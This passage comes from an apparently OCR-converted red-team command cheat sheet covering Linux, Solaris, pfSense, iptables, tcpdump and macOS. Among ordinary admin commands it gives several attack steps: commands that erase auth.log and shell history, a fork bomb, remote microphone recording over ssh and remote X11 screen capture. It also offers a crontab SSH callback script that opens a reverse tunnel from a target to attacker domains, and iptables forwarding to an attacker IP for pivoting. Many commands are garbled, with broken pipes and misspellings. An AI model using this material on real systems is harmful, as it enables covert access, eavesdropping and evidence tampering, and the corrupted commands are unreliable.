find I -perm -4000 -o -perm -2000 -exec ls -
ldb {} ;
| Search setuid files | | dos2unix file | Switch to \*nix format | | file file | Determine the file type and format | | chattr (+/-)i file | setting or not setting the immutable bit | | while \[ $? -eq 0 ]; do cd flag/; done | Enter infinite nested folder | ### Miscellaneous commands | **Command** | **Explanation** | | ------------------------------------------------------- | --------------------------- | | unset HISTFILE | Disable reports in history | | ssh user@ ip arecord - I aplay - | Remote microphone recording | | gcc -o outfile myfile.c | Compile C, C++ | | init 6 | Restart (0 = shutdown) | | cat /etc/ 1 syslog 1 .conf 1 grep -v ‘’”#’’ | list of report files | | grep ‘href=’ file 1 cut -d”/” -f3 I grep url \| sort -u | Separation of links url.com | | dd if=/dev/urandom of= file bs=3145728 count=100 | Create a 3 MB file | ### Controller commands | **Command** | **Explanation** | | --------------------------------- | ------------------------------------------------------------------ | | echo “” /var/log/auth.log | Delete the auth.log file | | echo ‘’’’ -/.bash history | Delete the session history of the current user | | rm -/.bash history/ -rf | Delete the file .bash\_history | | history -c | Delete the session history of the current user | | export HISTFILESIZE=0 | Setting the maximum lines of the history file to zero | | export HISTSIZE=0 | Setting the maximum number of commands in the history file to zero | | unset HISTFILE | delete history (need to log in again to apply) | | kill -9 $$ | Delete the current meeting | | ln /dev/null -/.bash\_historj -sf | Permanently send all history commands to /dev/null | ### File system structure | **Position** | **Explanation** | | ------------ | ------------------------------------- | | /bin | System binary files | | /boot | Files related to the boot process | | /dev | Interfaces related to system devices | | /etc | System configuration files | | /home | A basic place for users and libraries | | /opt | Essential software libraries | | /proc | Executive and systemic processes | | /root | The base path for the root user | | /sbin | executable files of the root user | | /tmp | Temporary files | | /usr | Not very necessary files | | /var | System variables file | ### Files | **File** | **Explanation** | | --------------------------- | ----------------------------------- | | /etc/shadow | Hash of local users | | /etc/passwd | Local users | | /etc/group | Local groups | | /etc/rc.d | Startup services | | /etc/init.d | Services | | /etc/hosts | List of hostnames and IPs | | /etc/HOSTNAME | Show hostname along with domain | | /etc/network/interfaces | Network communication | | /etc/profile | System environment variables | | /etc/apt/sources.list | list of ubuntu distribution sources | | /etc/resolv.conf | namserver settings | | /horne/ user /.bash history | bash history (also in /root/) | | /usr/share/wireshark/manuf | MAC Manufacturer | | -/.ssh/ | Location of ssh keystores | | /var/log | System reports file (for Linux) | | /var/adrn | System reports file (for Unix) | | /var/spool/cron | List of files in cron | | /var/log/apache/access.log | Apache communication reports | | /etc/fstab | Fixed system information file | ### Using powershell #### Installation ``` sudo apt install gss-ntlmssp sudo apt-get install powershell ``` #### Login using username and password ``` pwsh $offsec_session = New-PSSession -ComputerName 10.10.10.210 -Authentication Negotiate -Credential k.svensson Enter-PSSession $offsec_session ``` #### Create symlink ``` New-Item -ItemType Junction -Path 'C:\ProgramData' -Target 'C:\Users\Administrator' ``` ### Script writing #### Create Ping sweep ``` for x in {1 .. 254 .. l};do ping -c 1 1.1.1.$x lgrep "64 b" lcut -d" "-f4 ips.txt; done ``` #### Automating the domain name resolve process in the bash script ``` #!/bin/bash echo "Enter Class C Range: i.e. 192.168.3" read range for ip in {1 .. 254 .. l}; do host $range.$ip lgrep " name pointer " lcut -d" done ``` #### Creating a Fork bomb (Creating a process to crash the system) ``` : (){:|: & };: ``` #### dns reverse lookup process ``` for ip in {1 .. 254 .. 1}; do dig -x 1.1.1.$ip | grep $ip dns.txt; done ``` #### Do not block Ip script ``` #!/bin/sh # This script bans any IP in the /24 subnet for 192.168.1.0 starting at 2 # It assumes 1 is the router and does not ban IPs .20, .21, .22 i=2 while $i -le 253 l do if [ $i -ne 20 -a $i -ne 21 -a $i -ne 22 ]; then echo "BANNED: arp -s 192.168.1.$i" arp -s 192.168.1.$i OO:OO:OO:OO:OO:Oa else echo "IP NOT BANNED: 192.168.1.$i" fi i='expr $i +1` done ``` #### Create SSH Callback ``` Set up script in crontab to callback every X minutes. Highly recommend YOU set up a generic user on red team computer (with no shell privs). Script will use the private key (located on callback source computer) to connect to a public key (on red team computer). Red teamer connects to target via a local SSH session (in the example below, use #ssh -p4040 localhost) #!/bin/sh # Callback: script located on callback source computer (target) killall ssh /dev/null 2 &1 sleep 5 REMLIS-4040 REMUSR-user HOSTS=''domainl.com domain2.com domain3.com'' for LIVEHOST in SHOSTS; do COUNT=S(ping -c2 $LIVEHOST | grep 'received' | awk -F','{ print $2 } ' | awk ' ( print $1 | ') if [ [ $COUNT -gt 0 ] ] ; then ssh -R $(REMLIS}:localhost:22 -i "/home/$(REMUSR}/.ssh/id rsa" -N $(LIVEHOST} -1 $(REMUSR} fi ``` ### Iptables command Use iptable for ipv6 | Command | Description | | ----------------------------------------------------------------------------- | ----------------------------------------------- | | iptables-save -c file | Extract iptable rules and save to file | | iptables-restore file | retrieving iptables rules | | iptables -L -v --line-numbers | List of all rules with their line number | | iptables -F | Restart all rules | |iptables -P INPUT/FORWARD/OUTPUT
ACCEPT/REJECT/DROP
| Policy change if rules are not met | | iptables -A INPUT -i interface -m state --state RELATED,ESTABLcSHED -j ACCEPT | Allow connections made on INPUT | | iptables -D INPUT 7 | Remove 7 layers of inbound rules | | iptables -t raw -L -n | Increase productivity by disabling statefulness | | iptables -P INPUT DROP | Delete all packets | ### Allow ssh and port 22 in outbound ``` iptables -A OUTPUT -o iface -p tcp --dport 22 -m state --state NEW,ESTABLISHED -j ACCEPT iptables -A INPUT -i iface -p tcp --sport 22 -m state --state ESTABLISHED -j ACCEPT ``` ### Allow ICMP in outband ``` iptacles -A OUTPUT -i iface -p icmp --icmp-type echo-request -j ACCEPT iptables -A INPUT -o iface -p icmp --icmp-type echo-reply -j ACCEPT ``` ### Create port forward ``` echo "1" /proc/sys/net/ipv4/lp forward # OR- sysctl net.ipv4.ip forward=1 iptables -t nat -A PREROUTING -p tcp -i ethO -j DNAT -d pivotip --dport 443 -to-destination attk ip :443 iptables -t nat -A POSTROUTING -p tcp -i eth0 -j SNAT -s target subnet cidr -d attackip --dport 443 -to-source pivotip iptables -t filter -I FORWARD 1 -j ACCEPT ``` ### Allow 1.1.1.0/24 and port 80,443 and create log in /var/log/messages ``` iptables -A INPU~ -s 1.1.1.0/24 -m state --state RELATED,ESTABLISHED,NEW -p tcp -m multipart --dports 80,443 -j ACCEPT iptables -A INPUT -i ethO -m state --state RELATED,ESTABLISHED -j ACCEPT iptables -P INPUT DROP iptables -A OUTPUT -o ethO -j ACCEPT iptables -A INPUT -i lo -j ACCEPT iptables -A OUTPUT -o lo -j ACCEPT iptables -N LOGGING iptables -A INPUT -j LOGGING iptables -A LOGGING -m limit --limit 4/min -j LOG --log-prefix "DROPPED " iptables -A LOGGING -j DROP ``` ### Update-rc.d file Check and create launcher | Command | Description | | ----------------------------- | --------------------------------------------------------------------------------------------- | | service --status-all |\[+] Service starts at boot
\[-] Service does not start
| | service service start | start service | | service service stop | stop service | | service service status | Check service status | | update-rc.d -f service remove | Remove the existing system startup service (-f for the /etc/init.d file if it already exists) | | update-rc.d service defaults | Added service in system startup | ### Chkconfig Available in red hat distributions such as centos and oracle | **Command** | **Explanation** | | ------------------------------------------------------------- | ----------------------------------------------------- | | chkconfig –list | List of available services and implementation status | | chkconfig service -list | The status of a service | | chkconfig service on \[–level 3] | Adding the service \[Its layer can also be specified] | | chkconfig service off \[–level 3] e.g. chkconfig iptables off | Remove the service | ### Screen command | **Command** | **Explanation** | | --------------------- | ---------------------------------------------- | | screen -S name | Create a new screen with the name | | screen -ls | List of running screens | | screen -r name | Addition to screen with the name | | screen -S name -X cmd | Send command to screen with the name | | C-a? | List of key combinations (help) | | C-a d | Addition removal | | C-a D D | Removal of joining and leaving | | C-a c | Create a new window | | C-a C-a | Switch to the last window | | C-a ‘num\|name | Switch to the window named | | C-a “ | Show window list and changes | | C-a k | Delete the current window | | C-a S | Horizontal separation of the display | | C-a V | Vertical separation of the display | | C-a tab | Jump to the last screen | | C-a X | Delete the current section | | C-a Q | Delete all sections except the current section | ### X11 #### Remote recording of X11 window and changing its format to JPG ``` xwd -display ip :0 -root -out /tmp/test.xpm xwud -in /tmp/test1.xpm convert /tmp/test.xpm -resize 1280x1024 /tmp/test.jpg ``` #### Open X11 in stream mode ``` xwd -display 1.1.1.1:0 -root -silent -out x11dump Read dumped file with xwudtopnm or GIMP ``` ### TCPDump command #### Record packets in eth0 and change it from ASCII and hex and save it in the file ``` tcpdump -i ethO -XX -w out.pcap ``` #### Recording of all traffic 2.2.2.2 ``` tcpdump -i ethO port 80 dst 2.2.2.2 ``` #### Show all ip connections ``` tcpdump -i ethO -tttt dst 192.168.1.22 and not net 192.168.1.0/24 ``` ### Show all ping outputs ``` tcpdump -i ethO 'icmp[icmptype] == icmp-echoreply' ``` #### Record 50 dns packets and display timestamp ``` tcpdump -i ethO -c 50 -tttt 'udp and port 53' ``` ### Kali default commands #### Equivalent to WMIC ``` wmis -U DOMAIN\ user % password //DC cmd.exe /c command ``` #### Mount SMB shared space ``` # Mounts to /mnt/share. For other options besides ntlmssp, man mount.cifs mount.cifs // ip /share /mnt/share -o user=user,pass=pass,sec=ntlmssp,domain=domain,rw ``` #### KALI UPDATE ``` apt-get update apt-get upgrade ``` #### Checking the operating system for the possibility of upgrading access ``` https://github.com/rebootuser/LinEnum Example: ./LinEnum.sh -s -k keyword -r report -e /tmp/ -t ``` #### List of all processes with root access ``` https://github.com/DominicBreuker/pspy For example: ./pspy64 -pf -i 1000 ``` ### The PFSENSE command | **Command** | **Explanation** | | ------------------------------------ | ------------------------------------------------------------------------------------------ | | pfSsh.php | Shell pfSense | | pfSsh.php playback enableallowallwan | Allowing connections to inbound connections on the WAN (Adding hidden rules to WAN rules ) | | pfSsh.php playback enablesshd | Enable inbound/outbound ssh | | pfctl -sn | Show NAT rules | | pfctl -sr | Show filter rules | | pfctl -sa | Show all rules | | viconfig | Edit settings | | rm /tmp/config.cache | Target cache (or backup) settings after its execution | | /etc/rc.reload\_all | Reload the entire configuration | ### SOLARIS operating system | **Command** | **Explanation** | | --------------------------------------- | -------------------------------------- | | ifconfig -a | List of all interfaces | | netstat -in | List of all interfaces | | ifconfig -r | List of routes | | ifconfig eth0 dhcp | Start DHCP in user | | ifconfig eth0 plumb up ip netmask nmask | IP setting | | route add default ip | Gateway setting | | logins -p | List of users and passwords | | svcs -a | List of all services along with status | | prstat -a | Status of processes (also command top) | | svcadm start ssh | Start the SSH service | | inetadm -e telnet (-d for disable) | telnet activation | | prtconf I grep Memorj | Total physical memory | | iostat -En | Hard disk size | | showrev -c /usr/bin/bash | Binary information | | shutdown -i6 -g0 -y | Restart the system | | dfmounts | List of users connected to NFS | | smc | GUI management | | snoop -d int -c pkt # -o results.pcap | Packet recording | | /etc/vfstab | Mounted system file table | | /var/adm/logging | Reports list of login attempts | | /etc/default/’ | Default settings | | /etc/system | Kernel modules and settings | | /var/adm/messages | syslog path | | /etc/auto ‘ | Automounter settings file | | /etc/inet/ipnodes | IPv4 and IPv6 hosts files | ### Important cache files | **File** | **Description** | | ----------- | --------------- | | \~/.viminfo | vim editor file | ## Mac ### Situational Awareness | **Command** | **Explanation** | | | ------------------------------------------------------ | --------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------- | | top | shows real-time system statistics including CPU usage, memory usage, and running processes. | | | ps aux | displays a list of running processes with their associated details. | | | netstat | displays active network connections, routing tables, and a number of network interface and protocol statistics. | shows all active network connections and which processes are using them.displays a list of running processes with their associated details. | | tcpdump | allows the capture and analysis of network traffic. | | | tail -f /var/log/system.log | displays real-time updates to the macOS system log. | | | log show –predicate ‘process == “PROCESS\_NAME”’ –info | displays system log entries for a specific process. | | | fs\_usage | shows real-time file system activity, including which files are being accessed and by which processes. | | | fseventer | displays a graphical representation of file system activity. | | | dtrace | allows the tracing and analysis of system events. | | | launchctl list | displays a list of all currently loaded launch daemons and agents. | | ### User Plist File Enumeration | **Command** | **Explanation** | | ---------------------------------------------------------------- | ------------------------------------------------------------------------- | | `/Users/